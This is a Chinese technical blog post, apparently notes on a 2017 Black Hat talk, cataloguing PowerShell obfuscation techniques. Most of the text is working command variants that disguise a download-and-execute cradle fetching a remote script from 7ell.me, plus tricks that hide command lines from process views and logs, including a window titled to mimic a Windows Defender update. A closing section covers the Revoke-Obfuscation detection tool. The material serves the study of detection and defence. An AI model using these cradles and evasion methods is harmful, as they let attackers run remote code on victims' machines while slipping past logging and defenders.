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【技术分享】根据powershell语言的特性来混淆代码的方法与原理

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译者：七三

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简介

大多数攻击者目前已经将PowerShell 利用在了各种攻击场景中，如内网渗透，APT攻击甚至包括现在流行的勒索软件中。powershell的功能强大且调用方式十分灵活。在今年的2017 blackhat大会上，有一个关于powershell的议题（地址：us-17-Bohannon-Revoke-Obfuscation-PowerShell-Obfuscation-Detection-And%20Evasion-Using-Science），主要就是讲了powershell的混淆与检测。在看完作者的PPT后，真觉得干货颇多，想来做做笔记记录一下。

这篇笔记就来详细介绍一下根据powershell语言的特性来混淆代码的方法与原理。


1. cmd启动powershell

首先看看powershel使用cmd.exe启动执行代码的方式：

1.1 常规方法

cmd.exe /c "powershell -c Write-Host SUCCESS -Fore Green"
cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
cmd /c "set p1=power&& set p2=shell&& cmd /c echo Write-Host SUCCESS -Fore Green ^|%p1%%p2% -"

1.2 管道输入流

cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"

1.3 利用环境变量

cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX $env:cmd"
cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&cmd /c echo %cmd%|powershell -
cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX ([Environment]::GetEnvironmentVariable('cmd', 'Process'))
cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX ((Get-ChildItem/ChildItem/GCI/DIR/LS env:cmd).Value)

在父进程中隐藏运行的代码：上面第二种方式运行时，如果使用进程查看，可以在父进程启动参数中cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&cmd /c echo %cmd%|powershell -,看到你执行的代码，因为此时powershell -的父进程时第一个cmd.exe，所以可以使用cmd中的转义符号^将|转义后，如

cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&cmd /c echo %cmd%^|powershell -,第二个cmd后面对命令行来说是一个整体，然后执行cmd /c echo %cmd%|powershell -,此时powershell -的父进程就是第二个cmd了，看不到我们执行的代码了。

1.4 从其他进程获取参数

首先启动多个cmd进程，这些进程参数中包含要执行的代码

cmd /c "title WINDOWS_DEFENDER_UPDATE&&echo IEX (IWR https://7ell.me/power)&& FOR /L %i IN (1,1,1000) DO echo"

然后在powershell中提取出来IEX (IWR https://7ell.me/power)执行，如：

cmd /c "powershell IEX (Get-WmiObject Win32_Process -Filter ^"Name = 'cmd.exe' AND CommandLine like '%WINDOWS_DEFENDER_UPDATE%'^").CommandLine.Split([char]38)[2].SubString(5)"

1.5 从粘贴板

cmd.exe /c "echo Write-Host CLIP -Fore Green | clip&& powershell [void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); IEX ([System.Windows.Forms.Clipboard]::GetText())"

这些方法可以在powershell日志中看到，所以开启powershell的日志分析很重要。

但是，如果时混淆的，日志中也仅仅是记录了混淆后的东西。


2. 混淆

Hacker在攻击时经常会远程下载代码脚本执行，这里基于这样的一条标准的下载文件命令来进行变形混淆。

Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://7ell.me/power")。

在混淆之前，先看看powershell获取环境变量的方式。

Get-Variable/GV/Variable cmd -ValueOnly

-ValueOnly可以简写为-ValueOnly,-ValueOnl,-ValueOn,-ValueO……,-Va,-V

(Get-Item/GI/Item Variable:cmd).Value
(Get-ChildItem/GCI/ChildItem/DIR/LS Variable:cmd).Value

后面很多构造会用到这些方式的。

2.0 简单处理

Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://7ell.me/power")

可以去掉System

Invoke-Expression (New-Object Net.WebClient).DownloadString("http://7ell.me/power")

将http分开+号连接

Invoke-Expression (New-Object Net.WebClient).DownloadString("ht"+"tp://7ell.me/power")

变量代替

IEX $wc=New-Object Net.WebClient;$wc.DownloadString('h'+'ttp://7ell.me/power')

把downloadstring使用单双引号引起来

Invoke-Expression (New-Object Net.WebClient)."DownloadString"('h'+'ttp://7ell.me/power')

使用invoke方法

Invoke-Expression (New-Object Net.WebClient).("DownloadString").Invoke('h'+'ttp://7ell.me/power')
$ds="Down"+"loadString";Invoke-Expression (New-Object Net.WebClient).$ds.Invoke('h'+'ttp://7ell.me/power')

以上单双引号可以切换

2.1 转义符(反引号)

查看帮助Get-Help about_Escape_Characters

以下为 Windows PowerShell 能够识别的特殊字符：

    0     Null
    `a    警报
    `b    退格
    `f    换页
    `n    换行
    `r    回车
    `t    水平制表
    `v    垂直制表

转义符号加在其他字符前不影响字符的意思，避免在0,a,b,f,n,r,t,v的小写字母前出现即可。

Invoke-Expression (New-Object Net.WebClient)."Down`loadString"('h'+'ttp://7ell.me/power')
Invoke-Expression (New-Object Net.WebClient)."D`o`wn`l`oad`Str`in`g"('h'+'ttp://7ell.me/power') 
Invoke-Expression (New-Object Net.WebClient)."D`o`w`N`l`o`A`d`S`T`R`in`g"('h'+'ttp://7ell.me/power')

同样可以使用在Net.Webclient上

Invoke-Expression (New-Object "`Ne`T.`Web`Cli`ent")."Down`l`oadString"('h'+'ttp://7ell.me/power')

括号代替空格，或者多个定义变量来连接替换

Invoke-Expression (New-Object("`Ne`T.`Web`Cli`ent"))."Down`l`oadString"('h'+'ttp://7ell.me/power')
$v1="Net.";$v2="WebClient";Invoke-Expression (New-Object $v1$v2)."Down`l`oadString"('h'+'ttp://7ell.me/power')

2.2 简写与通配符*

e.g Get-Comamd New-Ob*

以下几种处理都可以代替 Get-Command New-Object ; Get-Comamnd 可简写为 GCM

&(Get-Command New-Obje*)     &(Get-Command *w-O*)     &(GCM *w-O*)     &(COMMAND *w-*ct)
.(Get-Command New-Obje*)     .(Get-Command *w-O*)     .(GCM *w-O*)     .(COMMAND *w-*ct)
$var1="New";$var2="-Object";$var3=$var1+$var2;&(GCM $var3)

结合其他方法混淆

Invoke-Expression (&(Get-Command New-Obje*)"Net.WebClient")."DownloadString"('h'+'ttp://7ell.me/power')
$var1="New";$var2="-Object";$var3=$var1+$var2;Invoke-Expression (&(GCM $var3)"Net.WebClient")."DownloadString"('h'+'ttp://7ell.me/power')
ie`x (.(GCM *w-O*)"Net.WebClient")."DownloadString"('h'+'ttp://7ell.me/power')

2.3 脚本块

使用脚本块 

invoke-command{xxxx}   ICM{xxxx}   {xxxx}.invoke()    &{xxxx}    .{xxxx}
$ExecutionContext.InvokeCommand.NewScriptBlock("xxxxx")
${ExecuTioNCoNTexT}."INVokeCommANd"."NewScRipTBlock"("expression")
$ExecutionContext."`I`N`V`o`k`e`C`o`m`m`A`N`d"."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"("expression") 
${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}."`I`N`V`o`k`e`C`o`m`m`A`N`d"."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"("expression") 
$a = ${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}; $b = $a."`I`N`V`o`k`e`C`o`m`m`A`N`d";$b."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"("ex"+"pres"+"sion")

Scriptblock类方法,[Scriptblock]相当于[Type]("Scriptblock")

[Scriptblock]::Create("expression")
([Type]"Scriptblock")::create('expression')
[Scriptblock]::("Create").Invoke("expression")
([Type]("Scriptblock"))::("Create").Invoke("expression")
[Scriptblock]::("`C`R`e"+"`A`T`e").Invoke("expression") 
([Type]("Scr"+"ipt"+"block"))::("`C`R`e"+"`A`T`e").Invoke("ex"+"pres"+"sion")

可以构造出下面的式子混淆

.(${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}."`I`N`V`o`k`e`C`o`m`m`A`N`d")."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"((& (`G`C`M *w-O*)"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"('h'+'ttp://7ell.me/power'))

2.4 字符串处理

反转

$reverseCmd= ")'rewop/em.lle7//:ptth'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN(";
1. IEX ($reverseCmd[-1..-($reverseCmd.Length)] -Join '') | IEX
2. $reverseCmdCharArray= $reverseCmd.ToCharArray(); [Array]::Reverse($reverseCmdCharArray); IEX ($reverseCmdCharArray-Join '') | IEX
3. IEX (-Join[RegEx]::Matches($reverseCmd,'.','RightToLeft')) | IEX

分割截断 or 替换字符

$cmdWithDelim= "(New-Object Net.We~~bClient).Downlo~~adString('http://7ell.me/power')";
1. IEX ($cmdWithDelim.Split("~~") -Join '') | IEX
2. IEX $cmdWithDelim.Replace("~~","") | IEX
3. IEX ($cmdWithDelim-Replace "~~","") | IEX

格式填充，-f 格式化。

//将NE download http://分别填到{0},{1},{2}
IEX ('({0}w-Object {0}t.WebClient).{1}String("{2}7ell.me/power")' -f 'Ne', 'Download','http://') | IEX 
//示例2
.("{1}{0}" -f 'X','IE') (&("{3}{2}{1}{0}" -f 'ct','-Obje','w','Ne') ("{0}{2}{1}" -f 'N','nt','et.WebClie')).("{2}{0}{1}{3}" -f 'dSt','rin','Downloa','g').Invoke(("{5}{0}{3}{4}{1}{2}" -f 'tp:/','o','wer','/','7ell.me/p','ht'))

变量拼接

$c1="(New-Object Net.We"; $c2="bClient).Downlo"; $c3="adString('http://7ell.me/power')";
1. IEX ($c1,$c2,$c3 -Join '') | IEX
2. IEX ($c1,$c3 -Join $c2) | IEX
3. IEX ([string]::Join($c2,$c1,$c3)) | IEX
4. IEX ([string]::Concat($c1,$c2,$c3)) | IEX
5. IEX ($c1+$c2+$c3) | IEX 
6. IEX "$c1$c2$c3" | IEX

2.5 编码

Ascii

使用[char]xx 代替字符 如：[char]59–>;

//不用分号
$cmd= "$c1~~$c2~~$c3~~$c4"; IEX $cmd.Replace("~~",[string]([char]59)) | IEX

Base64

命令行参数使用

-EC,-EncodedCommand,-EncodedComman,-EncodedComma,-EncodedComm,......,Enc,-En,E

解码echo 123 的base64  ZQBjAGgAbwAgADEAMgAzAAoA

1.PS 2.0 ->  [C`onv`ert]::"FromB`Ase6`4Str`ing"('ZQBjAGgAbwAgADEAMgAzAAoA')
2.PS 3.0+ -> [ <##> Convert <##> ]:: <##> "FromB`Ase6`4Str`ing"('ZQBjAGgAbwAgADEAMgAzAAoA')

.NET的方法

IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('ZQBjAGgAbwAgADEAMgAzAAoA')))

其他不同的方式编码 hex/octal/binary/BXOR/etc.

[Convert]::ToString(1234, 2)
[Convert]::ToString(1234, 8)
[Convert]::ToString(1234, 16)

也是转换为16进制

"{0:X4}" -f 1234  小写： "{0:x4}" -f 1234
[Byte][Char]([Convert]::ToInt16($_,16)) 
($cmd.ToCharArray() | % {[int]$_}) -Join $delim   //可以去掉空白 -Join$delim
$bytes[$i] = $bytes[$i] -BXOR 0x6A                //可以去点空白  $bytes[$i]-BXOR0x6A)

SecureString

关于SecureString: Get-Comamnd *secure-string*

 https://www.pdq.com/blog/secure-password-with-powershell-encrypting-credentials-part-1/
 https://www.pdq.com/blog/secure-password-with-powershell-encrypting-credentials-part-2/
$secPwd= Read-Host "Enter password" -AsSecureString
$secPwd= "echo 123" | ConvertTo-SecureString -AsPlainText -Force
$secPwd| ConvertFrom-SecureString

加密指定key

$cmd= "code"
$secCmd= ConvertTo-SecureString $cmd -AsPlainText -Force
$secCmdPlaintext= $secCmd| ConvertFrom-SecureString -Key (1..16)
$secCmdPlaintext

解密

echo xxxx| ConvertTo-SecureString -Key (1..16)

示例

$cmd= "echo 123"
$secCmd= ConvertTo-SecureString $cmd -AsPlainText -Force
$secCmdPlaintext= $secCmd| ConvertFrom-SecureString -Key (1..16)

运行

$secCmd= $secCmdPlaintext| ConvertTo-SecureString -Key (1..16);([System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secCmd))) | IEX

2.6 自构造关键字替换

就是在其他命令的输出下查看观察目标字符串位置，然后提取出来。比如DownlaodString的构造替换

DownloadString == (((New-Object Net.WebClient).PsObject.Methods | Where-Object {$_.Name -like '*wn*d*g'}).Name)
IEX (New-Object Net.WebClient).(((New-Object Net.WebClient).PsObject.Methods | Where-Object {$_.Name -like '*wn*d*g'}).Name).Invoke('http://7ell.me/power')

再结合get-command的变形

IEX (.(COMMAND *w-*ct) Net.WebClient).(((.(COMMAND *w-*ct) Net.WebClient).PsObject.Methods | Where-Object {$_.Name -like '*wn*d*g'}).Name).Invoke('http://7ell.me/power')

根据这样的思路结合上面提到的获取环境变量方法，可以把New-Object层层混淆为 

(GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name).(((GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name).PsObject.Methods|Where{(GCI Variable:_).Value.Name-ilike'*Co*d'}).Name).Invoke((GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name).(((GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name)|GM|Where{(GCI Variable:_).Value.Name-ilike'G*om*e'}).Name).Invoke('N*ct',$TRUE,1), [System.Management.Automation.CommandTypes]::Cmdlet)

3. IEX 的处理与其他执行方法

经过上面构造可以看到很多都使用Invoke-Expression/IEX命令，.，&符号来执行表达式。

Invoke-Expression/IEX命令是很常用的一个命令， 运行一个以字符串形式提供的PowerShell表达式。

这里也先看看代替IEX的各种执行方式

Get-Alias/GAL

&(GAL I*X)
.(LS Alias:/I*X)
Get-Command/GCM
.(GCM I*e-E*)
&(Command I*e-E*)

GetCmdlets (PS1.0+),

$ExecutionContext.InvokeCommand.GetCmdlets('I*e-E*'),
//用到环境变量
&(GV E*Cont* -Va).InvokeCommand.(((GV E*Cont* -Va).InvokeCommand.PsObject.Methods|Where{(GV _ -Va).Name -clike'*Cm*ts'}).Name).Invoke('I*e-E*')

InvokeScript (PS1.0+)

$ExecutionContext.InvokeCommand.InvokeScript($Script)
(GV E*Cont* -Va).InvokeCommand.(((GV E*Cont* -Va).InvokeCommand.PsObject.Methods|Where{(GV _ -Va).Name -clike'I*'}).Name).Invoke($Script),

Invoke-Command/ICM

Invoke-Command ([ScriptBlock]::Create($Script))
[ScriptBlock]::Create($Script).Invoke()
.((GV *cut*t -Va).(((GV *cut*t -Va)|Member)[6].Name).(((GV *cut*t -Va).(((GV *cut*t -Va)|Member)[6].Name)|Member|Where-Object{(Get-Variable _ -Va).Name-clike'N*S*B*'}).Name).Invoke($Script))

PS Runspace

[PowerShell]::Create().AddScript($Script).Invoke()
Invoke-AsWorkflow (PS3.0+)
Invoke-AsWorkflow -Expression $Script

提取串联出IEX，也是在其他命令的输出下查看观察目标字符串位置，然后提取出来。

($Env:ComSpec[4,26,25]-Join'')
((LS env:/Co*pec).Value[4,26,25]-Join'')
($ShellId[1]+$ShellId[13]+'x')
((GV S*ell*d -Va)[1]+(DIR Variable:S*ell*d).Value[13]+'x')
( ([String]''.IndexOf)[0,7,8]-Join'')
//怎么构造?，比如上面这个 首先查看''|Get-Member有个IndexOf方法，然后看看[String]''.IndexOf的输出，提取出里面的IEX字母

4. 相关工具

4.1 Invoke-Obfuscation

这是一个powershell混淆编码框架，基本涵盖了上述的各种混淆方法，

地址：Invoke-Obfuscation

使用方法：http://www.freebuf.com/sectool/136328.html 

4.2 Revoke-Obfuscation

这是一个powershell混淆检测框架，该工具能给出一个脚本是否混淆的

地址：Revoke-Obfuscation

使用方法

//初始
Import-Module .Revoke-Obfuscation.psm1 -Verbose
//gte-filehash没有输入流参数，自己下载一个get-filehash导入即可
//还有个问题 使用-OutputToDisk输出时，Set-Content没有NoNewline参数，ps5.0没问题。
//检测每一行的混淆情况
Get-Content .test.txt|Measure-RvoObfuscation -Verbose -OutputToDisk
//检测一个文件是否混淆 
Get-ChildItem .test.txt|Measure-RvoObfuscation -Verbose -OutputToDisk
//远程检测
Measure-RvoObfuscation -Url 'http://bit.ly/DBOdemo1' -Verbose -OutputToDisk
Measure-RvoObfuscation -Url 'http://7ell.me/powershell/rev.ps1' -Verbose
//从事件了提取ID为4104的日志重组
Get-ChildItem .Demodemo.evtx | Get-RvoScriptBlock -Verbose
Get-RvoScriptBlock -Path 'C:WindowsSystem32WinevtLogsMicrosoft-Windows-PowerShell%4Operational.evtx' -Verbose
Get-WinEvent -LogName Microsoft-Windows-PowerShell/Operational | Get-RvoScriptBlock -Verbose
Get-ChildItem C:MirOrHxAuditFiles*_w32eventlogs.xml | Get-RvoScriptBlock -Verbose
Get-CSEventLogEntry -LogName Microsoft-Windows-PowerShell/Operational | Get-RvoScriptBlock
//从事件日志中提取然后检测
$obfResults = Get-WinEvent -Path .Demodemo.evtx | Get-RvoScriptBlock | Measure-RvoObfuscation -OutputToDisk -Verbose

当使用上面的混淆框架Invoke-Obfuscation的个汇总混淆方法生成几个样本。

使用该工具进行检测测试

批量检测结果